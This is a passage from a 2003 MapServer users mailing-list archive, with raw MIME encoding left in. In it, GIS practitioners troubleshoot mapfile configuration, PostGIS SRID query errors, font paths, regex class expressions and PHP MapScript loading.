This is the error I recieve which =
happens to be the=20
next layer in the map file:
msPOSTGISLayerWhichShapes(): Query error. Error executing POSTGIS =
SQL=20
statement (in FETCH ALL): DECLARE mycursor BINARY CURSOR FOR SELECT=20
asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from =
(select=20
oid,the_geom,fename,fetype,symbol from local) AS foo WHERE the_geom =
&&=20
'BOX3D(-71.133294768 42.308640336,-71.027438768 42.414496336)'::BOX3D =
The thing I noticed is that the SRID is =
not in this=20
query and if you try to run this query from the command line postgresql =
returns=20
"ERROR: Operation on two GEOMETRIES with different SRIDs" hence =
the reason=20
the next layer fails.
Here is what the next layer looks=20
like:
LAYER =20
NAME Local TYPE=20
line STATUS=20
default CONNECTIONTYPE=20
postgis maxscale=20
22000 CONNECTION =
"user=3DXXX=20
dbname=3DTIGER host=3DXXX" =
DATA=20
"the_geom from (select oid,the_geom,fename,fetype,symbol from local) AS =
foo=20
using SRID=3D4269" =
SIZEUNITS=20
feet =20
CLASS &nbs=
p; =20
COLOR 140 140=20
140 =
=20
size=20
40 &=
nbsp; =20
symbol "circle" =20
end END
You can see that I have the using =
SRID=3D4269 in the=20
layer but for some reason when I use OVERLAYSYMBOL the using SRID=3D4269 =
gets=20
ignored in the layer following the layer with OVERLAYSYMBOL. =
Simply=20
removing the OVERLAYXXX lines from the mapfile everything renders=20
perfect.
Anyone have any ideas what the =
problem could=20
be?
------=_NextPart_000_013F_01C2B654.AA373C90--
From george_planansky at NOSPAMharvard.edu Tue Jan 7 18:41:00 2003
From: george_planansky at NOSPAMharvard.edu (George Planansky)
Date: Tue, 7 Jan 2003 21:41:00 -0500
Subject: [Mapserver-users] rotating labels move away from label point ??
Message-ID: <3405-Tue07Jan2003214100-0500-george_planansky@harvard.edu>
Using ANGLE to rotate labels, as below,
we expected to see the label string
rotate propeller-fashion around the
label point (which is in the center
of our polygons and shows up as we
expect).
However, the labels instead move away from
the label point as we change the rotation
angle. The longer the label string, the
further away they move.
We don't understand this -- what is
happening here? How do we keep
the label string centered on the label point.
CLASS
COLOR -1 -1 -1
COLOR 255 0 0
SYMBOL 'circle'
SIZE 5
LABEL
POSITION CC
ANGLE 135.00
COLOR 0 0 0
TYPE TRUETYPE
FONT arial
SIZE 14
ANTIALIAS TRUE
PARTIALS FALSE
BUFFER 2
END
END
Thanks
George Planansky
george_planansky at NOSPAMharvard.edu
From mccrone at pc.jaring.my Tue Jan 7 21:18:51 2003
From: mccrone at pc.jaring.my (Steve McCrone)
Date: Wed, 8 Jan 2003 13:18:51 +0800
Subject: [Mapserver-users] Allother probles solved - still woking on the PIXEL_SIZE calculation
Message-ID: <001a01c2b6d5$b21e1380$276d063d@clickntrac>
This is a multi-part message in MIME format.
------=_NextPart_000_000D_01C2B718.7C895BB0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi again,
I guess you could call it the 'Reverse Murphy Law'. Once I mail my =
question/problem to the list, I still continue trouble shooting and, =
through searching previous questions and trial and error, come up with =
the solution. So, currently my project works with the rosa applet, which =
zooms, pans etc. I can turn layers on & off using checkboxes, my map dos =
not zoom or pan during the toggling on/off of layers. My buttons retain =
their state after map redraws (i.e. submits). My next un-resolved issue =
is calculating the PIXEL_SIZE to used in the measurement calculation. =
I'm really trying to avoid getting involved in PHP an wish to achieve =
all my functionality strictly with mapserv and rosa - so far so good.
So if anyone out their can shed some light on the PIXEL_SIZE issue that =
would be great.
Steve
------=_NextPart_000_000D_01C2B718.7C895BB0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi again,
I guess you could call it the 'Reverse =
Murphy Law'.=20
Once I mail my question/problem to the list, I still continue trouble =
shooting=20
and, through searching previous questions and trial and error, come up =
with the=20
solution. So, currently my project works with the rosa applet, which =
zooms, pans=20
etc. I can turn layers on & off using checkboxes, my map dos not =
zoom or pan=20
during the toggling on/off of layers. My buttons retain their state =
after map=20
redraws (i.e. submits). My next un-resolved issue is calculating the =
PIXEL_SIZE=20
to used in the measurement calculation. I'm really trying to avoid =
getting=20
involved in PHP an wish to achieve all my functionality strictly with =
mapserv=20
and rosa - so far so good.
So if anyone out their can shed some =
light on the=20
PIXEL_SIZE issue that would be great.
Steve
------=_NextPart_000_000D_01C2B718.7C895BB0--
From jacquin at geosys-inc.com Wed Jan 8 07:54:28 2003
From: jacquin at geosys-inc.com (Marc Jacquin)
Date: Wed, 8 Jan 2003 16:54:28 +0100
Subject: [Mapserver-users] Re: mapserver error
In-Reply-To: <3E1C3DF7.57730E20@dmsolutions.ca>
Message-ID:
I don't know if it's still the case for this version of MS but Proj.4 on
Win32 works better with an environment variable called PROJ_LIB (on Unix it
searches for ~/epsg or /epsg ...). I guess it can define either the absolute
path to the epsg file or the directory containing this file.
Marc
-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Daniel
Morissette
Sent: mercredi 8 janvier 2003 16:04
To: Doug Nebert
Cc: mapserver-users
Subject: [Mapserver-users] Re: mapserver error
I have no clue why it can't find the epsg file. You really named the
file "epsg" with no extension, correct? i.e. C:\proj\epsg and
C:\proj\nad\epsg
I'll CC this to the mapserver list where someone else may have run into
the same thing with the UMN build for WIN32 and might have some hints to
offer.
Daniel
Doug Nebert wrote:
>
> Daniel Morissette wrote:
> >
> >>The current error I get is:
> >>
> >>msProcessProjection(): Projection library error. no system list, errno:
2
> >>
> >>whether I include a reference to PROJECTION or not. I have
> >>downloaded the latest epsg file and put it both at c:\proj
> >>and c:\proj\nad. No avail.
> >>
> >
> >
> > hummm.... this error means that it doesn't find the epsg file. You are
> > sure that you placed it in both? You really need to resolve this
> > otherwise you won't be able to use any of the WMS features.
> >
> > This is really odd. Did you use a build from our download site or from
> > the UMN website?
> >
>
> I downloaded yesterday from the UMN site.
>
> Doug.
>
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From Antti.Roppola at brs.gov.au Wed Jan 8 17:37:12 2003
From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au)
Date: Thu, 9 Jan 2003 12:37:12 +1100
Subject: [Mapserver-users] GDAL support for classed rasters in nightly 3.7?
Message-ID: <4D6E6CCBC9CED61192720060B06B3DD7C3FC3E@ACTMAIL2>
Hello all,
I have built 3.7 using the nightly tarball from the day before.
Most things in the 3.6 map work un-modified, but classed rasters do not display
(a continuous tone ERDAS Imagine file still works). This suggests something
to do with the CLASS object:
LAYER
NAME "My Layer"
TYPE RASTER
STATUS OFF
DATA myraster.bil ## (.tif or Grid for that matter)
CLASSITEM "[pixel]"
CLASS
NAME "Class 1"
EXPRESSION ([pixel] ==1)
COLOR 255 0 0
END
END
The 3.7 migration doco suggests CLASS should be backward compatible in most instances.
Am I seeing a vagary in the nightly, or should I be re-writing the above as a STYLE? Inserting
"DEBUG 1" into the layer merely induces a getSymbol() error message.
TIA,
Antti
From shaw_brian at yahoo.com Wed Jan 8 23:21:33 2003
From: shaw_brian at yahoo.com (Brian Shaw)
Date: Wed, 8 Jan 2003 23:21:33 -0800 (PST)
Subject: [Mapserver-users] command line utiltiy
Message-ID: <20030109072133.17004.qmail@web21509.mail.yahoo.com>
--0-1454819701-1042096893=:14741
Content-Type: text/plain; charset=us-ascii
Hi,
Could I have a copy of the command line utility that is able to convert ESRI "shape" files to Mapinfo "MIF" or "TAB"
Best Regards
Brian Shaw
---------------------------------
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now
--0-1454819701-1042096893=:14741
Content-Type: text/html; charset=us-ascii
Hi,
Could I have a copy of the command line utility that is able to convert ESRI "shape" files to Mapinfo "MIF" or "TAB"
Best Regards
Brian Shaw
Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now
--0-1454819701-1042096893=:14741--
From Hannah.Jensen at erdc.usace.army.mil Thu Jan 9 08:28:05 2003
From: Hannah.Jensen at erdc.usace.army.mil (Jensen, Hannah ERDC-CRREL-NH Contractor)
Date: Thu, 9 Jan 2003 11:28:05 -0500
Subject: [Mapserver-users] msOpenSHPFile error
Message-ID: <048FBD219330D211B47000A0C9B3BAFD04898679@crl02.crrel.usace.army.mil>
Hello. Some of our users are experiencing a strange MapServer error that I haven't yet been able to duplicate. At a certain scale, the map will be drawn with the following error written on the map image itself: "msOpenSHPFile(): (M:\misc\utm16.shp)". This is not a filename on our system and I can't find that text in the source code anywhere. Does anyone have any idea what might be causing this? Thanks for any advice.
Cheers,
Hannah
Hannah Jensen
(603) 646-4145
Remote Sensing / GIS Center
Cold Regions Research and Engineering Lab (CRREL)
US Army Corps of Engineers
72 Lyme Rd, Hanover, NH 03755-1290
From Amy.Stender at erdc.usace.army.mil Thu Jan 9 08:54:39 2003
From: Amy.Stender at erdc.usace.army.mil (Stender, Amy ERDC-CRREL-NH Contractor)
Date: Thu, 9 Jan 2003 11:54:39 -0500
Subject: [Mapserver-users] regular expression help
Message-ID: <048FBD219330D211B47000A0C9B3BAFD01BDBF0E@crl02.crrel.usace.army.mil>
hello,
i'm trying to write a regular expression in my map file. to recognize:
1. shrub native__salix exigua
2. shrub native__salix goodingii
3. shrub native__salix laevigata
4. shrub native__salix lasiopis
etc...
i found that the following regular expression works for my CLASS EXPRESSION: /shrub native__*/
BUT now i have:
1. Trees/Woodland/Forest, Native__blah
2. Trees/Woodland/Forest, Native__blah1
3. Trees/Woodland/Forest, Native__blah2
4. Trees/Woodland/Forest, Native__blah3
the forward slashes confuse my regular expression, so i tried using escape characters:
/Trees\/Woodland\/Forest, Native__*/
but this did not work. the error is: loadClass(): Unknown identifier. (Woodland/Forest).
any ideas on another escape character or a work-around?
thanks,
amy
Amy L. Stender
Remote Sensing/GIS Center
Cold Regions Research and Engineering Laboratory
United States Army Corps of Engineers
72 Lyme Road, Hanover, NH 03755-1290
Tel: (603) 646-4733
Fax: (603) 646-4730
Amy.Stender at erdc.usace.army.mil
From morissette at dmsolutions.ca Thu Jan 9 17:38:37 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 09 Jan 2003 20:38:37 -0500
Subject: [Mapserver-users] Mapserver and Libgd
References: <200301040923.2789@th00.opsion.fr>
Message-ID: <3E1E241D.4C6D5DFA@dmsolutions.ca>
pdalfarra at ibelgique.com wrote:
>
> [root at localhost mapserver-3.6.3]# ./mapserv
> ./mapserv: error while loading shared libraries:
> libgd.so.2: cannot load shared object file: No such
> file or directory
>
> I don't understand since I have a libgd.so.2 file
> (soft link) in my /usr/local/lib directory which is
> pointing to /usr/local/lib/libgd.so.2.0.0 that I
> obtain when I compile gd-2.0.9.
>
See: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?FindingSharedLibraries
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From morissette at dmsolutions.ca Thu Jan 9 17:46:55 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 09 Jan 2003 20:46:55 -0500
Subject: [Mapserver-users] mapscript and XBase cause Out of memoryerrorand/or
premature endof script headers error
References: <200301061422.h06EMbR11599@yogi.medinaco.net> <1041898354.3e1a1b725f27e@webmail.lmi.net>
Message-ID: <3E1E260F.AA3F86F5@dmsolutions.ca>
"Jonathan W. Lowe" wrote:
>
> The rest of the story is still not over, however. The test script that now
> works is only a test script; the main script still fails, with a "Premature end
> of script headers" error message in the log file. I plan to slowly add
> subroutines to the working script and see where it stops working...
>
FYI we have run into a similar issue on a Linux box where a Perl
MapScript (3.6.x) script would work fine at the command line but would
sometimes crash in the web server environment just after the call to
$map->draw(), resulting in a premature end of script headers (or
truncated output sometimes)... I have never been able to identify the
source of the problem, but if you find anything then I would be very
interested in hearing the solution.
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From morissette at dmsolutions.ca Thu Jan 9 18:12:27 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 09 Jan 2003 21:12:27 -0500
Subject: [Mapserver-users]
References: <005a01c2b511$e2391b20$470a18d3@clickntrac>
Message-ID: <3E1E2C0B.3A8AB2F5@dmsolutions.ca>
> Steve McCrone wrote:
>
> For an example of a site using this, see:
> http://www.sis.ec.gc.ca/msapps/ec_species/htdocs/ec_species_e.phtml
>
...
>
> I had a look at the example above and it does appear to calculate the
> correct pixel size that is used in the distance. However, I cannot
> find (in the code) where it does this, so I am wondering if Daniel
> could shed some light on this one.
>
This example uses MapScript, but you wrote in another thread that you
would like to stick to the mapserv CGI.
We have never done it, but it should be possible to use JavaScript to
calculate the pixed size and set it in the applet based on the [width]
and [minx] and [maxx] CGI template parameters.
i.e. pixel_size = ([maxx] - [minx])/[width]
> One thing with this sample - the user must not only select another
> tool and click on the map in order for the distance to "zero". Just by
> re-selecting the measure tool or clicking on another one does not
> "zero" the cumulative distance.
>
I believe this is fixed in more recent versions of ROSA.
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From mccrone at pc.jaring.my Thu Jan 9 18:33:09 2003
From: mccrone at pc.jaring.my (Steve McCrone)
Date: Fri, 10 Jan 2003 10:33:09 +0800
Subject: [Mapserver-users] Mapserver 3.5 - using TrueType Fonts
Message-ID: <000a01c2b850$a22b5b00$3b61063d@clickntrac>
This is a multi-part message in MIME format.
------=_NextPart_000_0007_01C2B893.AB990230
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I have line data shape file (i.e. roads) and I wish to label the roads =
using the attribute "Road_name".
I've tried a number of things w.r.t. setting the path for the FONTSET =
but still cannot get it.=20
my template & map file are in the wwwroot, which is my Home Directory on =
Win2K and IIS.
I have my fonts.list file in "wwwroot\fonts\fonts.list"
when I try FONTSET "fonts/fonts.list" I get this error -=20
getSymbol(): Symbol definition error. (FONT):(47)=20
Then I try SYMBOLSET "C:\Inetpub\wwwroot\symbols\symbols35.sym" I get =
this error -=20
getSymbol(): Symbol definition error. (FONT):(48)=20
I don't have a symbols.sym file from the downloaded stuff, just the =
symbols35.sym file
Don't know what to try next. Here is my map file (there could be errors)
MAP
NAME S1EX1
EXTENT 101.6 3.03 101.77 3.25
#EXTENT [minx] [miny] [maxx] [maxy]=20
SIZE 500 400
#FONTSET "fonts/fonts.list"
#SYMBOLSET "C:\Inetpub\wwwroot\symbols\symbols35.sym"
SYMBOLSET "/symbols/symbols35.sym"
FONTSET "C:\Inetpub\wwwroot\fonts\fonts.list"
#FONTSET ../fonts/fonts.list
#FONTSET "web/sdbdev/packages/dv-mapping/fonts/fonts.list"
SHAPEPATH "data/Malaysia"
WEB
TEMPLATE s1ex1.html
IMAGEPATH "set in index.html"
IMAGEURL "set in index.html"
END
LAYER # States
NAME "KlangValley"
DATA KlangValley
STATUS DEFAULT
TYPE POLYGON
CLASSITEM "Negeri"
CLASS
NAME "KL"
COLOR 255 255 128
OUTLINECOLOR 0 0 0
END # end of class object
END # end of layer object
LAYER
NAME "roads"
STATUS OFF
DATA ROAD_GPS
LABELITEM "Road_name" =20
TYPE LINE
CLASS
COLOR 0 0 255
LABEL
TYPE TRUETYPE
ANTIALIAS
FONT arial
COLOR 0 0 0
OUTLINECOLOR 220 220 220
SIZE 11
#SIZE MEDIUM
ANGLE AUTO
POSITION UC
OFFSET 0 2 =20
buffer 2
END#label
END
END # roads
END # end of map file
#=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
------=_NextPart_000_0007_01C2B893.AB990230
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I have line data shape file (i.e. =
roads) and I wish=20
to label the roads using the attribute "Road_name".
I've tried a number of things w.r.t. =
setting the=20
path for the FONTSET but still cannot get it.
my template & map file are in the =
wwwroot,=20
which is my Home Directory on Win2K and IIS. I have my fonts.list =
file in=20
"wwwroot\fonts\fonts.list"
when I try FONTSET "fonts/fonts.list" I =
get this=20
error -
getSymbol(): Symbol definition error. =
(FONT):(47)=20
Then I try SYMBOLSET=20
"C:\Inetpub\wwwroot\symbols\symbols35.sym" I get this error - =
getSymbol(): Symbol definition error. =
(FONT):(48)=20
I don't have a symbols.sym file from =
the downloaded=20
stuff, just the symbols35.sym file
Don't know what to try next. Here is my =
map file=20
(there could be errors)
WEB TEMPLATE =
s1ex1.html =20
IMAGEPATH "set in index.html" IMAGEURL "set in=20
index.html" END
LAYER # States =
NAME=20
"KlangValley" DATA =
KlangValley =20
STATUS DEFAULT TYPE POLYGON =20
CLASSITEM "Negeri" CLASS =
NAME=20
"KL" COLOR 255 255 128 =
OUTLINECOLOR=20
0 0 0 END # end of class object END # end of layer=20
object
LAYER NAME "roads" =
STATUS=20
OFF DATA ROAD_GPS LABELITEM "Road_name" =
=20
TYPE LINE CLASS COLOR 0 0=20
255 =
LABEL =20
TYPE TRUETYPE =20
ANTIALIAS FONT =
arial =20
COLOR 0 0 0 OUTLINECOLOR 220 220 220 SIZE =
11 #SIZE=20
MEDIUM ANGLE AUTO POSITION UC OFFSET 0=20
2 buffer =
2 =20
END#label END END # roads END # end of map=20
file #=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
------=_NextPart_000_0007_01C2B893.AB990230--
From ARyan at co.linn.or.us Thu Jan 9 18:43:55 2003
From: ARyan at co.linn.or.us (Ryan, Adam)
Date: Thu, 9 Jan 2003 18:43:55 -0800
Subject: [Mapserver-users] php_mapscript.dll could not be found
Message-ID: <614FCE5F14A6D41180C200010240D6A20107CF58@LINNMS>
This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.
------_=_NextPart_001_01C2B852.1E249C20
Content-Type: text/plain;
charset="iso-8859-1"
My quest for mapscript continues.
Perl & Windows, no luck.
PHP. Must be bad luck.
I'm on a Windows XP box.
Both IIS and Apache run PHP 4.2.3 fine.
---Test 1:
On APache: zlib Table, no mapscript table.
On IIS: Same, plus on the bottom of the table I get this:
PHP Warning: Unable to load dynamic library
'D:/PHP/extensions/php_mapscript.dll' - The specified module could not be
found. in D:\webmap\php\test2.php on line 6
---Test 2: why not?
I set "extension=php_mapscript.dll" in php.ini though I know I'm not
supposed to.
On both APache and IIS: Error Dialog: "Unable to load dynamic library
'D:/PHP/extensions/php_mapscript.dll' - The specified module could not be
found."
I've read through the old postings. I'm sure mapscript and PHP are in sync.
Any suggestions?
Thanks for putting up with me.
Adam
------_=_NextPart_001_01C2B852.1E249C20
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
php_mapscript.dll could not be found
My quest for mapscript continues.
Perl & Windows, no luck.
PHP. Must be bad luck.
I'm on a Windows XP box.
Both IIS and Apache run PHP 4.2.3 fine.
---Test 1:
<HTML>
<BODY>
<?php
=
dl("php_zlib.dll"); #to =
be sure dl() is working
=
dl("php_mapscript.dll");
phpinfo();
?>
</BODY>
</HTML>
On APache: zlib Table, no mapscript table.
On IIS: Same, plus on the bottom of the table I get =
this:
PHP Warning: Unable to load dynamic library =
'D:/PHP/extensions/php_mapscript.dll' - The specified module could not =
be found. in D:\webmap\php\test2.php on line 6
---Test 2: why not?
I set "extension=3Dphp_mapscript.dll" in =
php.ini though I know I'm not supposed to.
On both APache and IIS: Error Dialog: "Unable =
to load dynamic library 'D:/PHP/extensions/php_mapscript.dll' - The =
specified module could not be found."
I've read through the old postings. I'm sure =
mapscript and PHP are in sync.
Any suggestions?
Thanks for putting up with me.
Adam
------_=_NextPart_001_01C2B852.1E249C20--
From rich at greenwoodmap.com Thu Jan 9 19:03:20 2003
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Thu, 09 Jan 2003 20:03:20 -0700
Subject: [Mapserver-users] Mapserver 3.5 - using TrueType Fonts
In-Reply-To: <000a01c2b850$a22b5b00$3b61063d@clickntrac>
Message-ID: <5.2.0.9.0.20030109195833.00a77378@mail.greenwoodmap.com>
--=======60023EC=======
Content-Type: multipart/alternative; x-avg-checked=avg-ok-71A36F84; boundary="=====================_45565469==.ALT"
--=====================_45565469==.ALT
Content-Type: text/plain; x-avg-checked=avg-ok-71A36F84; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit
Are the font files also in wwwroot\fonts\ ? I've found it easier to have
the font.list in the same directory as the font files. Also check case -
the font file names in font.list are case sensitive (even on windows).
Rich
At 10:33 AM 1/10/2003 +0800, you wrote:
>I have line data shape file (i.e. roads) and I wish to label the roads
>using the attribute "Road_name".
>
>I've tried a number of things w.r.t. setting the path for the FONTSET but
>still cannot get it.
>
>my template & map file are in the wwwroot, which is my Home Directory on
>Win2K and IIS.
>I have my fonts.list file in "wwwroot\fonts\fonts.list"
>
>when I try FONTSET "fonts/fonts.list" I get this error -
>
>getSymbol(): Symbol definition error. (FONT):(47)
>
>Then I try SYMBOLSET "C:\Inetpub\wwwroot\symbols\symbols35.sym" I get this
>error -
>
>getSymbol(): Symbol definition error. (FONT):(48)
>
>I don't have a symbols.sym file from the downloaded stuff, just the
>symbols35.sym file
>
>Don't know what to try next. Here is my map file (there could be errors)
>
>MAP
>NAME S1EX1
>EXTENT 101.6 3.03 101.77 3.25
>#EXTENT [minx] [miny] [maxx] [maxy]
>SIZE 500 400
>#FONTSET "fonts/fonts.list"
>#SYMBOLSET "C:\Inetpub\wwwroot\symbols\symbols35.sym"
>SYMBOLSET "/symbols/symbols35.sym"
>FONTSET "C:\Inetpub\wwwroot\fonts\fonts.list"
>#FONTSET ../fonts/fonts.list
>#FONTSET "web/sdbdev/packages/dv-mapping/fonts/fonts.list"
>
>SHAPEPATH "data/Malaysia"
>
>WEB
> TEMPLATE s1ex1.html
> IMAGEPATH "set in index.html"
> IMAGEURL "set in index.html"
>END
>
>LAYER # States
> NAME "KlangValley"
> DATA KlangValley
> STATUS DEFAULT
> TYPE POLYGON
> CLASSITEM "Negeri"
> CLASS
> NAME "KL"
> COLOR 255 255 128
> OUTLINECOLOR 0 0 0
> END # end of class object
>END # end of layer object
>
>LAYER
> NAME "roads"
> STATUS OFF
> DATA ROAD_GPS
> LABELITEM "Road_name"
> TYPE LINE
> CLASS
> COLOR 0 0 255
> LABEL
> TYPE TRUETYPE
> ANTIALIAS
> FONT arial
> COLOR 0 0 0
> OUTLINECOLOR 220 220 220
> SIZE 11
> #SIZE MEDIUM
> ANGLE AUTO
> POSITION UC
> OFFSET 0 2
> buffer 2
> END#label
> END
>END # roads
>END # end of map file
>#=========================================
Richard W. Greenwood, PLS
(307) 733-0203
Rich at GreenwoodMap.com
www.GreenwoodMap.com
--=====================_45565469==.ALT
Content-Type: text/html; x-avg-checked=avg-ok-71A36F84; charset=us-ascii
Content-Transfer-Encoding: 8bit
Are the font files also in wwwroot\fonts\ ?
I've found it easier to have the font.list in the same directory as the
font files. Also check case - the font file names in font.list are case
sensitive (even on windows).
Rich
At 10:33 AM 1/10/2003 +0800, you wrote:
I have
line data shape file (i.e. roads) and I wish to label the roads using the
attribute "Road_name".
I've tried a number of things w.r.t. setting
the path for the FONTSET but still cannot get it.
my template & map file are in the wwwroot,
which is my Home Directory on Win2K and IIS.
I have my fonts.list file in
"wwwroot\fonts\fonts.list"
when I try FONTSET "fonts/fonts.list"
I get this error -
getSymbol(): Symbol definition error.
(FONT):(47)
Then I try SYMBOLSET
"C:\Inetpub\wwwroot\symbols\symbols35.sym" I get this error -
getSymbol(): Symbol definition error.
(FONT):(48)
I don't have a symbols.sym file from the
downloaded stuff, just the symbols35.sym file
Don't know what to try next. Here is my map
file (there could be errors)
WEB
TEMPLATE s1ex1.html
IMAGEPATH "set in index.html"
IMAGEURL "set in index.html"
END
LAYER # States
NAME "KlangValley"
DATA KlangValley
STATUS DEFAULT
TYPE POLYGON
CLASSITEM "Negeri"
CLASS
NAME "KL"
COLOR 255 255 128
OUTLINECOLOR 0 0 0
END # end of class object
END # end of layer object
LAYER
NAME "roads"
STATUS OFF
DATA ROAD_GPS
LABELITEM "Road_name"
TYPE LINE
CLASS
COLOR 0 0 255
LABEL
TYPE TRUETYPE
ANTIALIAS
FONT arial
COLOR 0 0 0
OUTLINECOLOR 220 220 220
SIZE 11
#SIZE MEDIUM
ANGLE AUTO
POSITION UC
OFFSET 0 2
buffer 2
END#label
END
END # roads
END # end of map file
#=========================================
Richard W. Greenwood, PLS
(307) 733-0203
Rich at GreenwoodMap.com www.GreenwoodMap.com
--=====================_45565469==.ALT--
--=======60023EC=======--
From steve.lime at dnr.state.mn.us Thu Jan 9 22:57:45 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Fri, 10 Jan 2003 00:57:45 -0600
Subject: [Mapserver-users] regular expression help
Message-ID:
Looks like the lexer doesn't quite recognize the escapes correctly.
Could you file that as a bug?
As a work around you could do something like:
/Trees.Woodland.Forest, Native__*/
That should work as long as you don't have some values that use /'s and
others that use another character and you need to differentiate between
them.
Steve
>>> "Stender, Amy ERDC-CRREL-NH Contractor"
01/09/03 18:18 PM >>>
hello,
i'm trying to write a regular expression in my map file. to recognize:
1. shrub native__salix exigua
2. shrub native__salix goodingii
3. shrub native__salix laevigata
4. shrub native__salix lasiopis
etc...
i found that the following regular expression works for my CLASS
EXPRESSION: /shrub native__*/
BUT now i have:
1. Trees/Woodland/Forest, Native__blah
2. Trees/Woodland/Forest, Native__blah1
3. Trees/Woodland/Forest, Native__blah2
4. Trees/Woodland/Forest, Native__blah3
the forward slashes confuse my regular expression, so i tried using
escape characters:
/Trees\/Woodland\/Forest, Native__*/
but this did not work. the error is: loadClass(): Unknown identifier.
(Woodland/Forest).
any ideas on another escape character or a work-around?
thanks,
amy
Amy L. Stender
Remote Sensing/GIS Center
Cold Regions Research and Engineering Laboratory
United States Army Corps of Engineers
72 Lyme Road, Hanover, NH 03755-1290
Tel: (603) 646-4733
Fax: (603) 646-4730
Amy.Stender at erdc.usace.army.mil
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From lyndon.zimmermann at adelaide.edu.au Thu Jan 9 23:09:45 2003
From: lyndon.zimmermann at adelaide.edu.au (Lyndon Zimmermann)
Date: Fri, 10 Jan 2003 17:39:45 +1030
Subject: [Mapserver-users] tile4ms and libttf.dll
Message-ID: <3E1E71B9.FF0611A8@adelaide.edu.au>
Greetings,
I tried to use tile4ms.exe on an NT box to create a tileindex and got
an error message unable to find libttf.dll. It's not in the download
package.
Any clues?
Lyndon Zimmermann
Adelaide, Australia
From mccrone at pc.jaring.my Fri Jan 10 00:47:55 2003
From: mccrone at pc.jaring.my (Steve McCrone)
Date: Fri, 10 Jan 2003 16:47:55 +0800
Subject: [Mapserver-users] Mapserver 3.5 - using TrueType Fonts
References: <5.2.0.9.0.20030109195833.00a77378@mail.greenwoodmap.com>
Message-ID: <002a01c2b884$fb709b10$b69d063d@clickntrac>
This is a multi-part message in MIME format.
------=_NextPart_000_0027_01C2B8C8.06348370
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Dear Rich,
I tried your suggestion again and presto! - it worked. I put the =
Arial.ttf into the same directory as the FontList.list.
I thought I had tried this before? Anyway, I'm pleased but at the same =
time depressed as I wasted so much time on something so obvious.
Probably won't be the last time either.
Thanks for the help.
Steve
----- Original Message -----=20
From: Richard Greenwood=20
To: Steve McCrone=20
Cc: mapserver-users at lists.gis.umn.edu=20
Sent: Friday, January 10, 2003 11:03 AM
Subject: Re: [Mapserver-users] Mapserver 3.5 - using TrueType Fonts
Are the font files also in wwwroot\fonts\ ? I've found it easier to =
have the font.list in the same directory as the font files. Also check =
case - the font file names in font.list are case sensitive (even on =
windows).
Rich
At 10:33 AM 1/10/2003 +0800, you wrote:
I have line data shape file (i.e. roads) and I wish to label the =
roads using the attribute "Road_name".
=20
I've tried a number of things w.r.t. setting the path for the =
FONTSET but still cannot get it.=20
=20
my template & map file are in the wwwroot, which is my Home =
Directory on Win2K and IIS.
I have my fonts.list file in "wwwroot\fonts\fonts.list"
=20
when I try FONTSET "fonts/fonts.list" I get this error -=20
=20
getSymbol(): Symbol definition error. (FONT):(47)=20
=20
Then I try SYMBOLSET "C:\Inetpub\wwwroot\symbols\symbols35.sym" I =
get this error -=20
=20
getSymbol(): Symbol definition error. (FONT):(48)=20
=20
I don't have a symbols.sym file from the downloaded stuff, just the =
symbols35.sym file
=20
Don't know what to try next. Here is my map file (there could be =
errors)
------=_NextPart_000_0027_01C2B8C8.06348370
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Dear Rich,
I tried your suggestion again and =
presto! - it=20
worked. I put the Arial.ttf into the same directory as the=20
FontList.list.
I thought I had tried this before? =
Anyway, I'm=20
pleased but at the same time depressed as I wasted so much time on =
something so=20
obvious.
Subject: Re: [Mapserver-users] =
Mapserver=20
3.5 - using TrueType Fonts
Are the font files also in wwwroot\fonts\ ? I've found it easier to have the font.list =
in the same=20
directory as the font files. Also check case - the font file names in=20
font.list are case sensitive (even on =
windows).
Rich
At=20
10:33 AM 1/10/2003 +0800, you wrote:
I have line=20
data shape file (i.e. roads) and I wish to label the roads using the =
attribute "Road_name".
I've=20
tried a number of things w.r.t. setting the path for the FONTSET but =
still=20
